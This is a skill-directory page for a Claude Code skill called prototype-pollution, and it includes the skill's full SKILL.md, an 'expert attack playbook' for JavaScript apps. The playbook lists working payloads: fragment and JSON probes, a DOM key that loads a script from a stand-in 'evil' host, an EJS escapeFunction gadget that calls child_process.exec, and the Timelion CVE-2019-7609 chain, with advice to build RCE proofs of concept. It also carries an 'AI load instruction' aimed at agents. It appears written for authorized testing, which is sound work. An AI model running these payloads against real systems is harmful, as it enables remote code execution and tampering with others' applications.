Skip to main content
skill CX Codex

prototype-pollution — Claude Code skill: what it does, how to install

Tests JavaScript stacks for prototype pollution, from unsafe object merges to polluted-property reads. Use it for authorized Node or browser security reviews.

Install into Claude Code · Skills CLI (Vercel) All methods and platforms ↓
npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code
Open on GitHub

What prototype-pollution does

The skill focuses on cases where user-controlled data becomes a nested object through JSON.parse, Object.assign, query parsers, or recursive merge code. It covers both __proto__ and constructor.prototype, with checks for URL fragments, JSON bodies, forms, and follow-up requests that reveal persistent side effects.

It includes merge-sink checks, server-side observation signals, and gadget-chain analysis involving qs, EJS, and child_process. The material also names tools for locating and verifying vulnerable surfaces. Keep testing to authorized targets: automated checks can affect stateful applications.

What it helps with

  • find unsafe deep object merges
  • test handling of the __proto__ key
  • compare __proto__ with constructor.prototype paths
  • observe side effects after prototype pollution
  • trace polluted properties into EJS or child_process

Example prompts for the agent

  • Run an authorized prototype-pollution review of this JavaScript app. Check JSON.parse, Object.assign, query parsing, and recursive merges.
  • Test the server’s JSON and query inputs with safe prototype-pollution checks, compare __proto__ and constructor.prototype, and report observable follow-up effects.
  • Review this merge sink and identify whether EJS or child_process later reads properties through the prototype chain. Do not execute harmful commands.

How to install prototype-pollution

1Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code

2Manually: put the files in place

~/.claude/skills/prototype-pollution/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/prototype-pollution/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about prototype-pollution

How do I install prototype-pollution in Claude Code?

Run npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code, then run npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code again. The skill file is at ~/.claude/skills/prototype-pollution/SKILL.md.

What does prototype-pollution do?

It helps inspect JavaScript applications for prototype-pollution paths. The skill covers client and server inputs, object-merge behavior, and later code that may read polluted properties.

Which libraries and attack paths does it cover?

The material calls out lodash.merge, deep-extend, hoek.applyToDefaults, qs, EJS, and child_process. Testing should stay within authorized targets because automated checks can cause side effects.

Source text

SKILL.md · MIT
---
name: prototype-pollution
description: >-
  Prototype pollution testing for JavaScript stacks. Use when user input is
  merged into objects (query parsers, JSON bodies, deep assign), when
  configuring libraries via untrusted keys, or when hunting RCE gadgets via
  polluted Object.prototype in Node or the browser.
---

# SKILL: Prototype Pollution — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert prototype pollution for client and server JS. Covers `__proto__` vs `constructor.prototype`, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on **parser behavior** and **post-pollution sinks**.

Routing note: prioritize PP when you see deep merges, recursive assign, `JSON.parse` followed by `Object.assign`, or URL queries converted to nested objects.

## 0. QUICK START

### Client-side first probes

```text
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1
```

When input can reflect into DOM or framework routing, pair with `alert(1)` / `console` checks to observe whether global object properties were polluted.

```text
#__proto__[xxx]=alert(1)
```

### Server-side first probes(JSON / form)

```json
{"__proto__":{"polluted":true}}
```

```json
{"constructor":{"prototype":{"polluted":true}}}
```

After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads `Object.prototype.polluted` (see §3 detection table).

### Quick boolean

If target code uses `lodash.merge`, `deep-extend`, `hoek.applyToDefaults`, or some `qs`/`query-string` configurations, **raise priority**.

---

## 1. MECHANISM

**Prototype chain**: when accessing `obj.key`, if `obj` lacks own property `key`, lookup walks up `[[Prototype]]` until `Object.prototype`.

**`__proto__`**: many parsers treat literal key `__proto__` as a magic path that attaches child properties to the prototype. Merging `{ "__proto__": { "x": 1 } }` can be equivalent to `Object.prototype.x = 1` depending on implementation and patch level.

**`constructor.prototype`**: `constructor` typically points to the object's constructor function; `constructor.prototype` is that constructor's prototype object. For plain objects this usually links to `Object.prototype`. Example path:

```json
{"constructor":{"prototype":{"polluted":1}}}
```

This is not always equivalent to `__proto__` (filtering, JSON parsing, Bun/Node differences), so **test both paths**.

**Core issue**: this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to **prototype objects**, giving **global** or shared template context malicious properties that later code reads normally, triggering gadgets.

---

## 2. CLIENT-SIDE DETECTION

### URL fragment

```text
https://app.example/page#__proto__[admin]=1
```

```text
https://app.example/#__proto__[xxx]=alert(1)
```

If router or analytics code parses fragments into objects and then merges, pollution may occur.

### `constructor.prototype` path

```text
#constructor[prototype][role]=admin
```

### DOM / attribute injection ideas

If the framework merges attribute names as object keys:

```text
__proto__[src]=//evil/xss.js
```

Event-handler style keys (implementation-dependent):

```text
__proto__[onerror]=alert(1)
```

**Verification**: open a fresh page without fragment and check in console whether test keys remain on `Object.prototype`; account for extension and DevTools interference.

---

## 3. SERVER-SIDE DETECTION (Express / Node, black-box)

The payloads below assume body/query is deeply parsed into objects by **qs** or similar parsers (possibly with `body-parser`). Observe **global side effects**, not only current endpoint return values.

| Payload (JSON example) | Expected observable signal |
|----------------------|----------------|
| `{"__proto__":{"parameterLimit":1}}` | Multi-parameter parsing in follow-up requests is ignored or abnormal (`qs`-style `parameterLimit`) |
| `{"__proto__":{"ignoreQueryPrefix":true}}` | Double-question-mark prefixes like `??foo=bar` are accepted or behavior changes sharply |
| `{"__proto__":{"allowDots":true}}` | Nested keys like `?foo.bar=baz` are expanded via dot notation |
| `{"__proto__":{"json spaces":" "}}` | JSON-serialized responses gain extra spaces (`JSON.stringify` spacing setting polluted) |
| `{"__proto__":{"exposedHeaders":["foo"]}}` | CORS responses include `foo`-related headers (if framework reads config from prototype) |
| `{"__proto__":{"status":510}}` | Some response status changes to 510 or another abnormal code (app reads `status` from object) |

**Operational tip**: send pollution request first, then a **clean** request to observe persistence; connection pools and worker lifecycle affect whether impact is globally visible.

---

## 4. EXPLOITATION GADGETS

| Target / scenario | Payload or pattern | Notes |
|-------------|------------|------|
| **EJS** | `{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}` | If template engine options like `escapeFunction` are read from polluted prototype, this may lead to RCE; strongly version/config dependent |
| **Timelion expression chain (CVE-2019-7609)** | `.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')` | Historical chain: prototype pollution + timeline expression execution; useful to understand **expression + PP** combinations |
| **Node `child_process`** | Pollute `shell`, `argv0`, `env`, `NODE_OPTIONS`, etc. (merged into `exec`/`fork` option objects) | Depends on whether later code calls `spawn`/`fork` and reads options from prototype chain |
| **Generic constructor path** | `{"constructor":{"prototype":{"foo":"bar"}}}` | Bypasses weak validation that filters only the `__proto__` key |

**Chain mindset**: pollution -> dependency reads `obj.settings.xxx` without `hasOwnProperty` -> RCE / SSRF / path traversal.

---

## 5. TOOLS

| Project | Purpose |
|------|------|
| **yeswehack/pp-finder** | Helps locate PP-prone merge points and patterns |
| **yuske/silent-spring** | Research and detection around prototype-pollution surfaces |
| **yuske/server-side-prototype-pollution** | Server-side PP testing suite/methodology |
| **BlackFan/client-side-prototype-pollution** | Browser-side PP cases and payloads |
| **portswigger/server-side-prototype-pollution** | Burp ecosystem extension / supporting material |
| **msrkp/PPScan** | Scanning/verification helper |

Prioritize use on **authorized** targets; automated tools can cause side effects on stateful applications.

---

## 6. DECISION TREE

```
                    Input merged into nested object?
                    (query, JSON, GraphQL vars, YAML→JSON)
                                |
               NO --------------+-------------- YES
               |                              |
        Other vuln class                Parser allows __proto__ /
                                        constructor.prototype keys?
                                                    |
                                    NO --------------+-------------- YES
                                    |                              |
                             Check unicode /                    Confirm global effect:
                             bypass of key names               clean follow-up request
                                    |                              |
                                    +--------------+----------------+
                                                   |
                                                   v
                                    Gadget present? (template, spawn, JSON.stringify opts, CORS)
                                                   |
                              NO ------------------+------------------ YES
                              |                                         |
                       Report PP as DoS /              Build minimal RCE or
                       logic impact                   high-impact PoC
                              |                                         |
                              +---------------------+-------------------+
                                                    |
                                                    v
                              Client-side: fragment / DOM / third-party script
                              Server-side: qs/body-parser/lodash/deep-merge version audit
```

---

## Related routing

- Input routing and multi-injection parallel entry -> [Injection Testing Router](../injection-checking/SKILL.md).
- Template execution chains (non-PP) -> [SSTI](../ssti-server-side-template-injection/SKILL.md).
- Insecure deserialization (non-JS prototype) -> [Deserialization](../deserialization-insecure/SKILL.md).

© yaklang · MIT · yaklang/hack-skills

Similar skills

All skills for Security →

From the same set93

vm-and-bytecode-reverse A playbook for reversing hand-rolled virtual machines and bytecode: find the dispatcher, map opcodes, write a disassembler. CX Codex +1 3,700installs websocket-security Helps analyze WebSocket security, detect CSWSH vulnerabilities, and review handshake headers. Useful when auditing real-time messaging, notifications, or WS-backed APIs. CX Codex +1 3,800installs dangling-markup-injection A playbook for dangling markup injection: when HTML injection works but JavaScript is blocked, it shows how to pull CSRF tokens and page data through unclosed tags. CX Codex +1 3,600installs dns-rebinding-attacks Provides an expert playbook for executing DNS rebinding attacks against internal web targets. It helps penetration testers bypass browser Same-Origin Policy during security reviews. CX Codex +1 3,600installs hash-attack-techniques A playbook for hash attacks: length extension, MD5 and SHA-1 collisions, HMAC timing leaks, proof of work. Built for CTFs and authorized testing. CX Codex +1 3,600installs arbitrary-write-to-rce Playbook for turning memory write primitives into code execution. Maps working targets from GOT entries to thread destructors across glibc versions. CX Codex +1 3,600installs active-directory-certificate-services This skill maps misconfigured AD CS and ESC1–ESC13 paths. Use it to review privilege escalation, certificate authentication, and certificate-based persistence in Active Directory. CX Codex +1 3,600installs saml-sso-assertion-attacks A playbook for SAML SSO testing: which XML nodes are signed, how Audience and ACS checks behave, and where IdP/SP trust breaks down. CX Codex +1 3,600installs

Project sponsors

Companies that keep this analytics open
Gold sponsor

Impressions, clicks and code copies — open statistics. We keep the numbers public for the same reason NeBlask itself is public. Become a sponsor